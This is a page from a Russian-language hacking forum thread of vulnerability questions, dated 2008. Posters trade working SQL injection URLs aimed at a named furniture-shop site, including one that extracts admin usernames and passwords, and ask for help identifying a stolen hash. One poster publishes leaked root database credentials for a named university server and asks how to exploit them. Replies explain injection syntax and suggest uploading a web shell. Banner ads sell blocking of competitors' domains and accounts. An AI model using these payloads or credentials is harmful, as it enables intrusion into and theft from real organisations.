Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 414 из 2438

414

Опции темы

Поиск в этой теме

Опции просмотра

#4131

13.12.2008, 15:37

Iceangel_

Постоянный

Регистрация: 09.07.2006

Сообщений: 553

С нами: 10441826

Репутация: 1861

можно через гугль ошибки поискать...
site:jertva.com Warning
если гугл ошибок не помнит, то идем на

Код:

 madnet.name/tools/madss/

вбиваем имя сайта и смотрим, хостятся ли рядом какие-либо сайты... если да, то поочерёдно вбиваем в гугль
site:sait_ryadom_s_jertvoi.com Warning

P.S
кроме Warning, можно и по другим кеям поискать, Error, "failed to open stream"...

Последний раз редактировалось Iceangel_; 13.12.2008 в 15:40..

#4132

13.12.2008, 15:51

~~F4R~~

Banned

Регистрация: 20.06.2008

Сообщений: 296

С нами: 9416045

Репутация: 126

Код:

http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+column_name+from+information_schema.columns+where+table_name=0x61736d5f61646d696e+limit+2,1--

почему сам учётки не высвечиваются?

#4133

13.12.2008, 15:58

DimOnOID

Постоянный

Регистрация: 05.12.2006

Сообщений: 477

С нами: 10226672

Репутация: 441

Цитата:

Сообщение от F4R

Код:

http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+column_name+from+information_schema.columns+where+table_name=0x61736d5f61646d696e+limit+2,1--

почему сам учётки не высвечиваются?

Ну наверное чтобы узнать учётки надо вот такой запрос сделать

Код:

http://asm-mebel.ru/index.php?page=catalog1&id=-1+union+select+concat_ws(0x40,name,password)+from+asm_admin+limit+0,1--

А то что ты выше написал-этим мы всего лишь узнаем какие колонки в таблице asm_admin

#4134

13.12.2008, 16:19

~~F4R~~

Banned

Регистрация: 20.06.2008

Сообщений: 296

С нами: 9416045

Репутация: 126

Отлично) спс огромное!

подскажите что ещё за хэш ?
5096c350535026dc

#4135

13.12.2008, 16:51

ImpLex

Познающий

Регистрация: 12.12.2008

Сообщений: 31

С нами: 9164140

Репутация: 68

Цитата:

Сообщение от Zitt

эти пароли хоаняться в файле htpasswd ....

Далеко не факт, просто вероятно пароль не хранится в бд... А находиться он может где угодно. Я встречал, даже когда авторизация с данными для входа была вшита в сам скрипт(запароленый), к которому мы обращаемся

phpMyAdmin редиректит

#4136

13.12.2008, 17:19

Goudini

Участник форума

Регистрация: 07.06.2006

Сообщений: 146

С нами: 10487223

Репутация: 490

phpMyAdmin редиректит

Есть сайт bridge.tane.edu.ua, есть пароль на рута

Код:

  $DATABASENAME = "stud_test";
  $DATABASESERVER = "localhost";
  $DATABASEUSER = "root";
  $DATABASEPASS = "steppenW";

Есть майадмин: bridge.tane.edu.ua/phpmyadmin/
Сервер запущен на 192.168.101.18, и постоянно туда редиректит, если заходить через майадмин.
Как нормально поюзать багу?

#4137

13.12.2008, 17:42

Thrasher88

Познающий

Регистрация: 18.04.2008

Сообщений: 62

С нами: 9507243

Репутация: 37

Подскажите, каким образом можно просмотреть имена таблиц и колонок при SQL-инъекции другой базы данных, находящейся на этом же аккаунте?

#4138

13.12.2008, 17:44

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Thrasher88
column_name+from+information_schema.columns+where+ table_schema='база'+and+table_name='табли ца'

#4139

13.12.2008, 17:45

Shaitan-Devil

Участник форума

Регистрация: 15.08.2008

Сообщений: 167

С нами: 9336002

Репутация: 204

Он не редиректит просто либо серв мускула на другом серваке,либо на этом же,тогда надо лить шелл.

#4140

13.12.2008, 17:46

~~ThreeD~~

Banned

Регистрация: 25.12.2006

Сообщений: 179

С нами: 10198073

Репутация: 354

Goudini
Да всё нормально юзается. Заходит в майадмин с этими данными норм, как root@sectorgaza =)
Что конкретно тебе нужно?

Страница 414 из 2438

414

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 4 (пользователей: 0 , гостей: 4)

Быстрый переход